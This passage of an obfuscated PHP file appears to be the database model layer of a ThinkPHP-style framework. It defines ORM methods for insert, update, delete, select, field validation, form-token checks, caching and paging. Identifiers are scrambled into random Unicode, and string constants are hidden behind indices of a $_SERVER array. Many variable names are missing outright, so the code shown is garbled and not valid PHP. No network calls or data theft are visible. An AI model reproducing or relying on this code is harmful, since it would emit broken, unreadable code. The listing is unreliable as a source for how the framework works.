$this->data[$潳] = $; } public function __get($) { return isset($this->data[$]) ? $this->data[$] : null; } public function __isset($) { return isset($this->data[$]); } public function __unset($ĕ) { unset($this->data[$ĕ]); } public function __call($͒, $ץ) { $瘧 =& $_SERVER[]; if (in_array(strtolower($͒), $this->methods, !0)) { $this->options[strtolower($͒)] = $ץ[0]; return $this; } elseif (in_array(strtolower($͒), array($瘧[250], $瘧[251], $瘧[252], $瘧[253], $瘧[254]), !0)) { $۠ = isset($ץ[0]) ? $ץ[0] : $瘧[181]; $۠ = $this->db->parseKey($۠); return $this->getField(strtoupper($͒) . $瘧[255] . $۠ . $瘧[256] . $͒, $瘧[250]); } elseif (strtolower(substr($͒, 0, 5)) == $瘧[257]) { $۠ = think_parse_name(substr($͒, 5)); $ꛉ콴[$۠] = $ץ[0]; return $this->where($ꛉ콴)->find(); } elseif (strtolower(substr($͒, 0, 10)) == $瘧[258]) { $ܿ = think_parse_name(substr($͒, 10)); $ꛉ콴[$ܿ] = $ץ[0]; return $this->where($ꛉ콴)->getField($ץ[1]); } elseif (isset($this->_scope[$͒])) { return $this->scope($͒, $ץ[0]); } elseif (method_exists($this, $͒)) { array_unshift($ץ, $͒); return call_user_func_array(array($this, $瘧[259]), $ץ); } else { return call_user_func_array(array(parent, $͒), $ץ); } } protected function call() { $ =& $_SERVER[]; $ŠЧ = func_get_args(); $뜒 = array_shift($ŠЧ); $Ԝ = $뜒; if (is_array($뜒)) { $Ԝ = $뜒[1]; $뜒 = $뜒[0]; } $ = count($ŠЧ) - 1; if (isset($ŠЧ[$]) && $ŠЧ[$] === $뜒) { think_exception(__CLASS__ . $[4] . $뜒 . think_lang($[260])); return; } $ŠЧ[] = $뜒; if (method_exists($this, $[261])) { $ = call_user_func_array(array($this, $[262]), array($Ԝ, $ŠЧ)); if (!is_null($) && $ !== !1) { return $; } } $ìܣ = call_user_func_array(array($this, $뜒), $ŠЧ); if (method_exists($this, $[263])) { $ = call_user_func_array(array($this, $[264]), array($Ԝ, $ŠЧ, $ìܣ)); if ($) { return $; } } return $ìܣ; } protected function _initialize() { } protected function _facade($) { $Ӟ =& $_SERVER[]; if (!empty($this->fields)) { foreach ($ as $˒ => $) { if (is_array($this->fields) && !in_array($˒, $this->fields, !0)) { unset($[$˒]); } elseif (is_scalar($)) { $this->_parseType($, $˒); } } } if (!empty($this->options[$Ӟ[265]])) { $ = array_map($this->options[$Ӟ[265]], $); unset($this->options[$Ӟ[265]]); } $this->_beforeWrite($); return $; } protected function _beforeWrite(&$وާ) { } public function add($䵨 = '', $ = array(), $ = false) { if (empty($䵨)) { if (!empty($this->data)) { $䵨 = $this->data; $this->data = array(); } else { $this->error = think_lang($_SERVER[][266]); return !1; } } $ = $this->_parseOptions($); $䵨 = $this->_facade($䵨); if (!1 === $this->_beforeInsert($䵨, $)) { return !1; } $ = $this->db->insert($䵨, $, $); if (!1 !== $) { $כ = $this->getLastInsID(); if ($כ) { $䵨[$this->getPk()] = $כ; $this->_after_insert($䵨, $); return $כ; } $this->_after_insert($䵨, $); } return $; } protected function _beforeInsert(&$, $Ӂ) { } protected function _after_insert($°, $ټ) { } public function addAll($ܠ, $ = array(), $ = false) { $ =& $_SERVER[]; if (empty($ܠ)) { $this->error = think_lang($[266]); return !1; } $ = $this->_parseOptions($); foreach ($ܠ as $ۺ => $) { $ܠ[$ۺ] = $this->_facade($); } if (method_exists($this->db, $[267])) { $ߜ = $this->db->insertAll($ܠ, $, $); } else { $this->startTrans(); foreach ($ܠ as $ۺ => $) { $ߜ = $this->db->insert($, $, $); } $this->commit(); } if (!1 !== $ߜ) { $ƫ = $this->getLastInsID(); if ($ƫ) { return $ƫ; } } return $ߜ; } public function selectAdd($⧑ = '', $ = '', $ = array()) { $ =& $_SERVER[]; $ = $this->_parseOptions($); if (!1 === ($ = $this->db->selectInsert($⧑ ? $⧑ : $[$[268]], $ ? $ : $this->getTableName(), $))) { $this->error = think_lang($[269]); return !1; } else { return $; } } public function save($Π = '', $ = array()) { $ӮĶ =& $_SERVER[]; if (empty($Π)) { if (!empty($this->data)) { $Π = $this->data; $this->data = array(); } else { $this->error = think_lang($ӮĶ[266]); return !1; } } $Π = $this->_facade($Π); $ = $this->_parseOptions($); $ = $this->getPk(); if (!isset($[$ӮĶ[270]])) { if (isset($Π[$])) { $[$] = $Π[$]; $[$ӮĶ[270]] = $; unset($Π[$]); } else { $this->error = think_lang($ӮĶ[269]); return !1; } } if (is_array($[$ӮĶ[270]]) && isset($[$ӮĶ[270]][$])) { $Ž = $[$ӮĶ[270]][$]; } if (!1 === $this->_beforeUpdate($Π, $)) { return !1; } $⒁ = $this->db->update($Π, $); if (!1 !== $⒁) { if (isset($Ž)) { $Π[$] = $Ž; } $this->_afterUpdate($Π, $); } return $⒁; } protected function _beforeUpdate(&$臏, $) { } protected function _afterUpdate($, $) { } public function delete($ճ = array()) { $յԍ =& $_SERVER[]; if (empty($ճ) && empty($this->options[$յԍ[270]])) { if (!empty($this->data) && isset($this->data[$this->getPk()])) { return $this->delete($this->data[$this->getPk()]); } else { return !1; } } $ = $this->getPk(); if (is_numeric($ճ) || is_string($ճ)) { if (strpos($ճ, $յԍ[50])) { $Ć[$] = array($յԍ[271], $ճ); } else { $Ć[$] = $ճ; } $this->options[$յԍ[270]] = $Ć; } $ճ = $this->_parseOptions(); if (is_array($ճ[$յԍ[270]]) && isset($ճ[$յԍ[270]][$])) { $ = $ճ[$յԍ[270]][$]; } $ = $this->db->delete($ճ); if (!1 !== $) { $긛 = array(); if (isset($)) { $긛[$] = $; } $this->_after_delete($긛, $ճ); } return $; } protected function _after_delete($؍, $̧) { } public function select($À = array()) { $ѡ =& $_SERVER[]; if (is_string($À) || is_numeric($À)) { $ = $this->getPk(); if (strpos($À, $ѡ[50])) { $咟[$] = array($ѡ[271], $À); } else { $咟[$] = $À; } $this->options[$ѡ[270]] = $咟; } elseif (!1 === $À) { $À = $this->_parseOptions(); return $ѡ[272] . $this->db->buildSelectSql($À) . $ѡ[273]; } $À = $this->_parseOptions(); $ = $this->db->select($À); if (!1 === $) { return !1; } if (empty($)) { return null; } $this->_afterSelect($, $À); return $; } protected function _afterSelect(&$뱮, $ը) { } public function buildSql($Œ = array()) { $ =& $_SERVER[]; $Œ = $this->_parseOptions($Œ); return $[272] . $this->db->buildSelectSql($Œ) . $[273]; } public function optionsValue($ = null) { if (is_null($)) { return $this->options; } elseif (is_array($)) { $this->options = array_merge($this->options, $); } } protected function _parseOptions($ = array()) { $ܢ =& $_SERVER[]; if (is_array($)) { $ = array_merge($this->options, $); } $this->options = array(); if (!isset($[$ܢ[274]])) { $[$ܢ[274]] = $this->getTableName(); $ = $this->fields; } else { $ = $this->getDbFields(); } if (!empty($[$ܢ[275]])) { $[$ܢ[274]] .= $ܢ[53] . $[$ܢ[275]]; } $[$ܢ[276]] = $this->name; if (isset($[$ܢ[270]]) && is_array($[$ܢ[270]]) && !empty($) && !isset($[$ܢ[277]]) && !isset($[$ܢ[274]])) { foreach ($[$ܢ[270]] as $α => $د) { $α = trim($α); if (in_array($α, $, !0)) { if (is_scalar($د)) { $this->_parseType($[$ܢ[270]], $α); } } elseif (!is_numeric($α) && $ܢ[11] != substr($α, 0, 1) && !1 === strpos($α, $ܢ[10]) && !1 === strpos($α, $ܢ[255]) && !1 === strpos($α, $ܢ[278]) && !1 === strpos($α, $ܢ[279])) { unset($[$ܢ[270]][$α]); } } } $this->_options_filter($); return $; } protected function _options_filter(&$񗘩) { } protected function _parseType(&$Сܜ, $) { $ =& $_SERVER[]; if (empty($this->options[$[280]][$[4] . $])) { $뀏 = strtolower($this->fields[$[247]][$]); if (!1 !== strpos($뀏, $[281])) { } elseif (!1 === strpos($뀏, $[282]) && !1 !== strpos($뀏, $[283])) { $Сܜ[$] = intval($Сܜ[$]); } elseif (!1 !== strpos($뀏, $[284]) || !1 !== strpos($뀏, $[285])) { $Сܜ[$] = floatval($Сܜ[$]); } elseif (!1 !== strpos($뀏, $[286])) { $Сܜ[$] = (bool) $Сܜ[$]; } } } public function find($ƾ = array()) { $ҟ =& $_SERVER[]; if (is_numeric($ƾ) || is_string($ƾ)) { $ä[$this->getPk()] = intval($ƾ); $this->options[$ҟ[270]] = $ä; } $this->options[$ҟ[287]] = 1; $ƾ = $this->_parseOptions(); $ = $this->db->select($ƾ); if (!1 === $) { return !1; } if (empty($)) { return null; } $this->data = $[0]; $this->_afterFind($this->data, $ƾ); if (!empty($this->options[$ҟ[288]])) { return $this->returnResult($this->data, $this->options[$ҟ[288]]); } return $this->data; } protected function _afterFind(&$۟, $Ł) { } protected function returnResult($Ȱ, $Ӈ = '') { $׶ =& $_SERVER[]; if ($Ӈ) { if (is_callable($Ӈ)) { return call_user_func($Ӈ, $Ȱ); } switch (strtolower($Ӈ)) { case $׶[289]: return json_encode($Ȱ); case $׶[290]: return xml_encode($Ȱ); } } return $Ȱ; } public function parseFieldsMap($ئ܈, $є = 1) { if (!empty($this->_map)) { foreach ($this->_map as $ҥ => $) { if ($є == 1) { if (isset($ئ܈[$])) { $ئ܈[$ҥ] = $ئ܈[$]; unset($ئ܈[$]); } } else { if (isset($ئ܈[$ҥ])) { $ئ܈[$] = $ئ܈[$ҥ]; unset($ئ܈[$ҥ]); } } } } return $ئ܈; } public function setField($, $ѳ = '') { if (is_array($)) { $䒳 = $; } else { $䒳[$] = $ѳ; } return $this->save($䒳); } public function setAdd($ʤ, $ = 1) { $ =& $_SERVER[]; $ = $ʤ . $[291] . $; if ($ < 0) { $ = $ʤ . $; } return $this->setField($ʤ, array($[292], $)); } public function getField($, $ = null) { $ݲ՗ =& $_SERVER[]; $ݍ[$ݲ՗[268]] = $; $ݍ = $this->_parseOptions($ݍ); $ = trim($); if (strpos($, $ݲ՗[50])) { if (!isset($ݍ[$ݲ՗[287]])) { $ݍ[$ݲ՗[287]] = is_numeric($) ? $ : $ݲ՗[12]; } $ݜէ = $this->db->select($ݍ); if (!empty($ݜէ)) { $ = explode($ݲ՗[50], $); $ = array_keys($ݜէ[0]); $ާ = array_shift($); $Ēɡ = array_shift($); $曯 = array(); $ = count($); foreach ($ݜէ as $㴭) { $ؿ = $㴭[$ާ]; if (2 == $) { $曯[$ؿ] = $㴭[$Ēɡ]; } else { $曯[$ؿ] = is_string($) ? implode($, $㴭) : $㴭; } } return $曯; } } else { if (!0 !== $) { $ݍ[$ݲ՗[287]] = is_numeric($) ? $ : 1; } if ($ === $ݲ՗[250]) { unset($ݍ[$ݲ՗[287]]); } $㴭 = $this->db->select($ݍ); if (!empty($㴭)) { if ($ === $ݲ՗[250]) { return reset($㴭[0]); } if (!0 !== $ && 1 == $ݍ[$ݲ՗[287]]) { return reset($㴭[0]); } foreach ($㴭 as $հ) { $[] = $հ[$]; } return $; } } return null; } public function create($ = '', $϶֮ = '') { $ᙚ =& $_SERVER[]; if (empty($)) { $ = $_POST; } elseif (is_object($)) { $ = get_object_vars($); } if (empty($) || !is_array($)) { $this->error = think_lang($ᙚ[266]); return !1; } $ = $this->parseFieldsMap($, 0); $϶֮ = $϶֮ ? $϶֮ : (!empty($[$this->getPk()]) ? THINK_MODEL_UPDATE : THINK_MODEL_INSERT); if (isset($this->options[$ᙚ[268]])) { $Д = $this->options[$ᙚ[268]]; unset($this->options[$ᙚ[268]]); } elseif ($϶֮ == THINK_MODEL_INSERT && isset($this->insertFields)) { $Д = $this->insertFields; } elseif ($϶֮ == THINK_MODEL_UPDATE && isset($this->updateFields)) { $Д = $this->updateFields; } if (isset($Д)) { if (is_string($Д)) { $Д = explode($ᙚ[50], $Д); } if (think_config($ᙚ[293])) { $Д[] = think_config($ᙚ[294]); } foreach ($ as $ => $՟) { if (!in_array($, $Д)) { unset($[$]); } } } if (!$this->autoValidation($, $϶֮)) { return !1; } if (!$this->autoCheckToken($)) { $this->error = think_lang($ᙚ[295]); return !1; } if ($this->autoCheckFields) { $Д = $this->getDbFields(); foreach ($ as $ => $՟) { if (!in_array($, $Д)) { unset($[$]); } elseif (MAGIC_QUOTES_GPC && is_string($՟)) { $[$] = stripslashes($՟); } } } $this->autoOperation($, $϶֮); $this->data = $; return $; } public function autoCheckToken($؆ڀ) { $ϫ =& $_SERVER[]; if (isset($this->options[$ϫ[296]]) && !$this->options[$ϫ[296]]) { return !0; } if (think_config($ϫ[293])) { $ˈ = think_config($ϫ[294]); if (!isset($؆ڀ[$ˈ]) || Session::get($ˈ)) { return !1; } list($ɶ, $) = explode($ϫ[11], $؆ڀ[$ˈ]); if ($ && Session::get($ˈ . $ϫ[10] . $ɶ) === $) { Session::remove($ˈ . $ϫ[10] . $ɶ); return !0; } if (think_config($ϫ[297])) { Session::remove($ˈ . $ϫ[10] . $ɶ); } return !1; } return !0; } public function regex($ƕ߬, $ű) { $ь =& $_SERVER[]; $ = array($ь[298] => $ь[299], $ь[300] => $ь[301], $ь[302] => $ь[303], $ь[304] => $ь[305], $ь[306] => $ь[307], $ь[308] => $ь[309], $ь[310] => $ь[311], $ь[285] => $ь[312], $ь[313] => $ь[314]); if (isset($[strtolower($ű)])) { $ű = $[strtolower($ű)]; } return preg_match($ű, $ƕ߬) === 1; } private function autoOperation(&$, $ю) { $ =& $_SERVER[]; if (!empty($this->options[$[315]])) { $߱߰ = $this->options[$[315]]; unset($this->options[$[315]]); } elseif (!empty($this->_auto)) { $߱߰ = $this->_auto; } if (isset($߱߰)) { foreach ($߱߰ as $ឩ) { if (empty($ឩ[2])) { $ឩ[2] = THINK_MODEL_INSERT; } if ($ю == $ឩ[2] || $ឩ[2] == THINK_MODEL_BOTH) { switch (trim($ឩ[3])) { case $[316]: case $[317]: $އ = isset($ឩ[4]) ? (array) $ឩ[4] : array(); if (isset($[$ឩ[0]])) { array_unshift($އ, $[$ឩ[0]]); } if ($[316] == $ឩ[3]) { $[$ឩ[0]] = call_user_func_array($ឩ[1], $އ); } else { $[$ឩ[0]] = call_user_func_array(array(&$this, $ឩ[1]), $އ); } break; case $[268]: $[$ឩ[0]] = $[$ឩ[1]]; break; case $[318]: if ($[12] === $[$ឩ[0]]) { unset($[$ឩ[0]]); } break; case $[319]: default: $[$ឩ[0]] = $ឩ[1]; } if (!1 === $[$ឩ[0]]) { unset($[$ឩ[0]]); } } } } return $; } protected function autoValidation($Ơ, $) { $Ǒ =& $_SERVER[]; if (!empty($this->options[$Ǒ[320]])) { $ߘޔ = $this->options[$Ǒ[320]]; unset($this->options[$Ǒ[320]]); } elseif (!empty($this->_validate)) { $ߘޔ = $this->_validate; } if (isset($ߘޔ)) { if ($this->patchValidate) { $this->error = array(); } foreach ($ߘޔ as $ => $) { if (empty($[5]) || $[5] == THINK_MODEL_BOTH || $[5] == $) { if (0 == strpos($[2], $Ǒ[321]) && strpos($[2], $Ǒ[322])) { $[2] = think_lang(substr($[2], 2, -1)); } $[3] = isset($[3]) ? $[3] : THINK_EXISTS_VALIDATE; $[4] = isset($[4]) ? $[4] : $Ǒ[323]; switch ($[3]) { case THINK_MUST_VALIDATE: if (!1 === $this->_validationField($Ơ, $)) { return !1; } break; case THINK_VALUE_VALIDATE: if ($Ǒ[12] != trim($Ơ[$[0]])) { if (!1 === $this->_validationField($Ơ, $)) { return !1; } } break; default: if (isset($Ơ[$[0]])) { if (!1 === $this->_validationField($Ơ, $)) { return !1; } } } } } if (!empty($this->error)) { return !1; } } return !0; } protected function _validationField($눸, $ᅥ) { if (!1 === $this->_validationFieldItem($눸, $ᅥ)) { if ($this->patchValidate) { $this->error[$ᅥ[0]] = $ᅥ[2]; } else { $this->error = $ᅥ[2]; return !1; } } return; } protected function _validationFieldItem($ȯ, $گ) { $Ÿ̙ =& $_SERVER[]; switch (strtolower(trim($گ[4]))) { case $Ÿ̙[316]: case $Ÿ̙[317]: $ = isset($گ[6]) ? (array) $گ[6] : array(); if (is_string($گ[0]) && strpos($گ[0], $Ÿ̙[50])) { $گ[0] = explode($Ÿ̙[50], $گ[0]); } if (is_array($گ[0])) { foreach ($گ[0] as $ӿ) { $ނ[$ӿ] = $ȯ[$ӿ]; } array_unshift($, $ނ); } else { array_unshift($, $ȯ[$گ[0]]); } if ($Ÿ̙[316] == $گ[4]) { return call_user_func_array($گ[1], $); } else { return call_user_func_array(array(&$this, $گ[1]), $); } case $Ÿ̙[324]: return $ȯ[$گ[0]] == $ȯ[$گ[1]]; case $Ÿ̙[325]: if (is_string($گ[0]) && strpos($گ[0], $Ÿ̙[50])) { $گ[0] = explode($Ÿ̙[50], $گ[0]); } $ې = array(); if (is_array($گ[0])) { foreach ($گ[0] as $ӿ) { $ې[$ӿ] = $ȯ[$ӿ]; } } else { $ې[$گ[0]] = $ȯ[$گ[0]]; } if (!empty($ȯ[$this->getPk()])) { $ې[$this->getPk()] = array($Ÿ̙[326], $ȯ[$this->getPk()]); } if ($this->where($ې)->find()) { return !1; } return !0; default: return $this->check($ȯ[$گ[0]], $گ[1], $گ[4]); } } public function check($, $ϓ, $ = "\x72\145\x67\145\170") { $׀ =& $_SERVER[]; $ = strtolower(trim($)); switch ($) { case $׀[7]: case $׀[327]: $– = is_array($ϓ) ? $ϓ : explode($׀[50], $ϓ); return $ == $׀[7] ? in_array($, $–) : !in_array($, $–); case $׀[328]: case $׀[329]: if (is_array($ϓ)) { $烦 = $ϓ[0]; $ = $ϓ[1]; } else { list($烦, $) = explode($׀[50], $ϓ); } return $ == $׀[328] ? $ >= $烦 && $ <= $ : $ < $烦 || $ > $; case $׀[330]: case $׀[331]: return $ == $׀[330] ? $ == $ϓ : $ != $ϓ; case $׀[332]: $Ƙ = mb_strlen($, $׀[333]); if (strpos($ϓ, $׀[50])) { list($烦, $) = explode($׀[50], $ϓ); return $Ƙ >= $烦 && $Ƙ <= $; } else { return $Ƙ == $ϓ; } case $׀[334]: list($մ, $) = explode($׀[50], $ϓ); if (!is_numeric($մ)) { $մ = strtotime($մ); } if (!is_numeric($)) { $ = strtotime($); } return NOW_TIME >= $մ && NOW_TIME <= $; case $׀[335]: return in_array(get_client_ip(), explode($׀[50], $ϓ)); case $׀[336]: return !in_array(get_client_ip(), explode($׀[50], $ϓ)); case $׀[323]: default: return $this->regex($, $ϓ); } } public function query($ٶ, $ = false) { $Ὼ =& $_SERVER[]; if (!is_bool($) && !is_array($)) { $ = func_get_args(); array_shift($); } $ٶ = str_replace(array($Ὼ[226], $Ὼ[337]), $Ὼ[53], $ٶ); $ٶ = $this->parseSql($ٶ, $); return $this->db->query($ٶ); } public function execute($Ռ, $م麰 = false) { if (!is_bool($م麰) && !is_array($م麰)) { $م麰 = func_get_args(); array_shift($م麰); } $Ռ = $this->parseSql($Ռ, $م麰); return $this->db->execute($Ռ); } protected function parseSql($Α, $) { $ =& $_SERVER[]; if (!0 === $) { $ś = $this->_parseOptions(); $Α = $this->db->parseSql($Α, $ś); } elseif (is_array($)) { $ = array_map(array($this->db, $[338]), $); $Α = vsprintf($Α, $); } else { $Α = strtr($Α, array($[339] => $this->getTableName(), $[340] => think_config($[239]))); } $this->db->setModel($this->name); return $Α; } public function db($㾚 = '', $¾ = '', $ȁ = array()) { $ =& $_SERVER[]; if ($[12] === $㾚 && $this->db) { return $this->db; } static $ = array(); static $ږ = array(); if (!isset($ږ[$㾚]) || isset($ږ[$㾚]) && $¾ && $[$㾚] != $¾) { if (!empty($¾) && is_string($¾) && !1 === strpos($¾, $[8])) { $¾ = think_config($¾); } $㾚 = think_guid($¾); $ږ[$㾚] = Db::getInstance($¾); } elseif (NULL === $¾) { $ږ[$㾚]->close(); unset($ږ[$㾚]); return; } if (!empty($ȁ)) { if (is_string($ȁ)) { parse_str($ȁ, $ȁ); } foreach ($ȁ as $× => $ļ) { $this->setProperty($×, $ļ); } } $[$㾚] = $¾; $this->db = $ږ[$㾚]; $this->_after_db(); if (!empty($this->name) && $this->autoCheckFields) { $this->_checkTableInfo(); } return $this; } protected function _after_db() { } public function getModelName() { if (empty($this->name)) { $Ϟ = get_class($this); if ($Ϟ == $_SERVER[][341]) { return $this->name; } $this->name = substr($Ϟ, 0, -5); } return $this->name; } public function getTableName() { $ =& $_SERVER[]; if (empty($this->trueTableName)) { $ = !empty($this->tablePrefix) ? $this->tablePrefix : $[12]; if (!empty($this->tableName)) { $ .= $this->tableName; } else { $ .= think_parse_name($this->name); } $this->trueTableName = strtolower($); } return (!empty($this->dbName) ? $this->dbName . $[10] : $[12]) . $this->trueTableName; } public function startTrans() { $this->commit(); $this->db->startTrans(); return; } public function commit() { return $this->db->commit(); } public function rollback() { return $this->db->rollback(); } public function getError() { return $this->error; } public function getDbError() { return $this->db->getError(); } public function getLastInsID() { return $this->db->getLastInsID(); } public function getLastSql() { return $this->db->getLastSql($this->name); } public function _sql() { return $this->getLastSql(); } public function getPk() { $¥ =& $_SERVER[]; return isset($this->fields[$¥[246]]) ? $this->fields[$¥[246]] : $this->pk; } public function getDbFields() { $ =& $_SERVER[]; if (isset($this->options[$[274]])) { $ = $this->db->getFields($this->options[$[274]]); return $ ? array_keys($) : !1; } if ($this->fields) { $ = $this->fields; unset($[$[245]], $[$[246]], $[$[247]], $[$[244]]); return $; } return !1; } public function data($Û = '') { $Ɣ۞ =& $_SERVER[]; if ($Ɣ۞[12] === $Û && !empty($this->data)) { return $this->data; } if (is_object($Û)) { $Û = get_object_vars($Û); } elseif (is_string($Û)) { parse_str($Û, $Û); } elseif (!is_array($Û)) { think_exception(think_lang($Ɣ۞[266])); } $this->data = $Û; return $this; } public function join($Ҭ) { $ =& $_SERVER[]; if (is_array($Ҭ)) { $this->options[$[277]] = $Ҭ; } elseif (!empty($Ҭ)) { $this->options[$[277]][] = $Ҭ; } return $this; } public function union($, $ٌ = false) { $IJ =& $_SERVER[]; if (empty($)) { return $this; } if ($ٌ) { $this->options[$IJ[342]][$IJ[343]] = !0; } if (is_object($)) { $ = get_object_vars($); } if (is_string($)) { $݋ǻ = $; } elseif (is_array($)) { if (isset($[0])) { $this->options[$IJ[342]] = array_merge($this->options[$IJ[342]], $); return $this; } else { $݋ǻ = $; } } else { think_exception(think_lang($IJ[266])); } $this->options[$IJ[342]][] = $݋ǻ; return $this; } public function cache($ = true, $ = null, $ڠ˙ = '') { $Ց =& $_SERVER[]; if (!1 !== $) { $this->options[$Ց[344]] = array($Ց[95] => $, $Ց[334] => $, $Ց[33] => $ڠ˙); } return $this; } public function field($η, $ș = false) { $͐꩚ =& $_SERVER[]; if (!0 === $η) { $ = $this->getDbFields(); $η = $ ? $ : $͐꩚[181]; } elseif ($ș) { if (is_string($η)) { $η = explode($͐꩚[50], $η); } $ = $this->getDbFields(); $η = $ ? array_diff($, $η) : $η; } $this->options[$͐꩚[268]] = $η; return $this; } public function scope($ = '', $ = NULL) { $ =& $_SERVER[]; if ($[12] === $) { if (isset($this->_scope[$[37]])) { $ۙ = $this->_scope[$[37]]; } else { return $this; } } elseif (is_string($)) { $פ = explode($[50], $); $ۙ = array(); foreach ($פ as $ɜމ) { if (!isset($this->_scope[$ɜމ])) { continue; } $ۙ = array_merge($ۙ, $this->_scope[$ɜމ]); } if (!empty($) && is_array($)) { $ۙ = array_merge($ۙ, $); } } elseif (is_array($)) { $ۙ = $; } if (is_array($ۙ) && !empty($ۙ)) { $this->options = array_merge($this->options, array_change_key_case($ۙ)); } return $this; } public function where($±, $ʸ = null) { $ =& $_SERVER[]; if (!is_null($ʸ) && is_string($±)) { if (!is_array($ʸ)) { $ʸ = func_get_args(); array_shift($ʸ); } $ʸ = array_map(array($this->db, $[338]), $ʸ); $± = vsprintf($±, $ʸ); } elseif (is_object($±)) { $± = get_object_vars($±); } elseif (is_array($±)) { foreach ($± as $ => $ݾ) { if ((is_numeric($) || !$) && is_string($ݾ)) { if (strpos($ݾ, $[345]) === 0) { continue; } think_trace($[346], $[12], $[49]); die; } } } if (is_string($±) && $[12] != $±) { $䊴 = array(); $䊴[$[347]] = $±; $± = $䊴; } if (isset($this->options[$[270]])) { $this->options[$[270]] = array_merge($this->options[$[270]], $±); } else { $this->options[$[270]] = $±; } return $this; } public function limit($Ѷ, $ = null) { $ =& $_SERVER[]; $this->options[$[287]] = is_null($) ? $Ѷ : $Ѷ . $[50] . $; return $this; } public function page($, $ = null) { $ =& $_SERVER[]; $this->options[$[348]] = is_null($) ? $ : $ . $[50] . $; return $this; } public function comment($Ɣ) { $this->options[$_SERVER[][349]] = $Ɣ; return $this; } public function setProperty($ض, $案) { if (property_exists($this, $ض)) { $this->{$ض} = $案; } return $this; } } class ModelBase extends Model { const SQL_WHERE_IN_CHUNK = 2000; protected $dataAuto = array(array("\155\x6f\x64\151\x66\x79\124\x69\x6d\x65", "\164\x69\x6d\145", "\151\x6e\163\x65\162\164\x2c\x75\160\144\x61\164\145", "\x66\x75\x6e\x63\164\x69\x6f\156"), array("\143\x72\x65\141\x74\145\124\151\155\145", "\x74\x69\155\x65", "\x69\x6e\163\x65\x72\x74", "\146\x75\x6e\x63\x74\151\x6f\x6e")); public function setDataAuto($) { $this->dataAuto = $; } public function __construct($ߡ = '', $ = '', $Ԧ = '') { parent::__construct($ߡ, $, $Ԧ); } protected $tableMeta = array(); protected function _beforeInsert(&$, $) { $ =& $_SERVER[]; if (!$this->checkDataAutoHas($[350])) { return; } $this->dataBeforeFilter($, $[350]); } protected function _beforeUpdate(&$, $) { $ =& $_SERVER[]; if (!$this->checkDataAutoHas($[351])) { return; } $this->dataBeforeFilter($, $[351]); } protected function _afterSelect(&$ć؁, $) { if (!is_array($ć؁)) { return; } if (!$this->checkDataAutoHas($_SERVER[][352])) { return; } foreach ($ć؁ as &$݈״) { $this->dataAfterFilter($݈״); } unset($݈״); } protected function _afterFind(&$, $) { if (!is_array($)) { return; } if (!$this->checkDataAutoHas($_SERVER[][352])) { return; } $this->dataAfterFilter($); } public static function textEncode($嘧) { if (!$嘧) { return $嘧; } $ܤ = json_encode($嘧); $ܤ = preg_replace_callback($_SERVER[][353], function ($) { return addslashes($[0]); }, $ܤ); return json_decode($ܤ); } public static function textDecode($) { $ =& $_SERVER[]; $۸ = json_encode($); $۸ = preg_replace_callback($[354], function ($) { return $_SERVER[][98]; }, $۸); return json_decode($۸); } public function setAutoIncrement($) { $ = array($this->getPk() => $); $Ȇ = $this->data($)->add(); if ($Ȇ) { $this->delete($Ȇ); } } public function getAutoIncrement() { $䡏 = $this->getTableName(); $ = $this->max($this->getPk()); $ߐ = $this->query("\x73\150\x6f\x77\x20\x74\x61\142\x6c\x65\40\163\164\141\x74\165\163\x20\x77\x68\145\162\x65\40\116\x61\x6d\x65\x3d\47{$䡏}\47"); $ = $ߐ[0][$_SERVER[][355]]; $ = max($, $); return $; } protected function _callBefore($ϰ, $¥) { return $this->cacheCallCheck($ϰ, $¥, !1); } protected function _callAfter($Ќ, $) { return $this->cacheCallCheck($Ќ, $, !0); } protected function cacheFunctionAlias($) { return !1; } public function cacheMemory() { return $this->cache(null, 0); } protected function cacheCallCheck($, $Ŧ, $DŽ = false) { $ = $this->cacheFunctionAlias($Ŧ); if (!$) { return; } foreach ($ as $ => $) { $툋 = $[0]; $ = explode($_SERVER[][50], $[1]); if ($ == $) { return $this->cacheFunctionGet($, $툋); } if ($DŽ && in_array($, $)) { $this->cacheFunctionClear($, $툋); } } } public function cacheFunctionGet($ȡͧ, $֤΢) { $险 = $this->cacheKeyMake($ȡͧ, $֤΢); $ = Cache::get($险); if (!is_array($)) { $ = call_user_func_array(array($this, $ȡͧ), array($֤΢, !0)); Cache::set($险, $); } return $; } public function cacheFunctionClear($咻nj, $κ) { $² = $κ; if (!is_array($κ)) { $² = array($κ); } foreach ($² as $љ) { $ = $this->cacheKeyMake($咻nj, $љ); Cache::remove($); } } private function cacheKeyMake($ը, $ԥ) { $ =& $_SERVER[]; return get_class($this) . $[11] . $ը . $[356] . $ԥ; } protected function selectPageReset() { $ =& $_SERVER[]; if (isset($GLOBALS[$[357]])) { return; } $GLOBALS[$[357]] = isset($GLOBALS[$[7]][$[358]]) ? $GLOBALS[$[7]][$[358]] : !1; $GLOBALS[$[359]] = isset($GLOBALS[$[7]][$[348]]) ? $GLOBALS[$[7]][$[348]] : !1; $GLOBALS[$[7]][$[358]] = !1; $GLOBALS[$[7]][$[348]] = !1; } protected function selectPageRestore() { $ߣ =& $_SERVER[]; if (!isset($GLOBALS[$ߣ[357]])) { return; } $GLOBALS[$ߣ[7]][$ߣ[358]] = $GLOBALS[$ߣ[357]]; $GLOBALS[$ߣ[7]][$ߣ[348]] = $GLOBALS[$ߣ[359]]; if ($GLOBALS[$ߣ[7]][$ߣ[358]] === !1) { unset($GLOBALS[$ߣ[7]][$ߣ[358]]); } if ($GLOBALS[$ߣ[7]][$ߣ[348]] === !1) { unset($GLOBALS[$ߣ[7]][$ߣ[348]]); } unset($GLOBALS[$ߣ[357]]); unset($GLOBALS[$ߣ[359]]); } protected function selectPage($Ө = 200, $ = 1) { $ =& $_SERVER[]; global $in; $Ҩ = $this->optionsValue(); $ɠ = 50000; $Ө = isset($in[$[358]]) && $in[$[358]] ? $in[$[358]] : $Ө; if ($Ө === -1) { $in[$[358]] = !1; $ɠ = 100000000; $Ө = $ɠ; } $ߣ = $Ҩ; $ߣ[$[360]] = array(); $Ө = intval($Ө); $Ө = $Ө <= 5 ? 5 : ($Ө >= $ɠ ? $ɠ : $Ө); $ = intval(isset($in[$[348]]) && $in[$[348]] ? $in[$[348]] : $); $ = $ <= 1 ? 1 : $; $䡟 = array(); $– = 1; if ($ == 1 && $–) { $this->optionsValue($Ҩ); $䡟 = $this->page($, $Ө)->select(); $ = is_array($䡟) ? count($䡟) : 0; if ($ < $Ө) { $ͺ = 1; } else { $this->optionsValue($ߣ); $ = intval($this->count()); $ͺ = ceil($ / $Ө); } } else { $this->optionsValue($ߣ); $ = intval($this->count()); $ͺ = 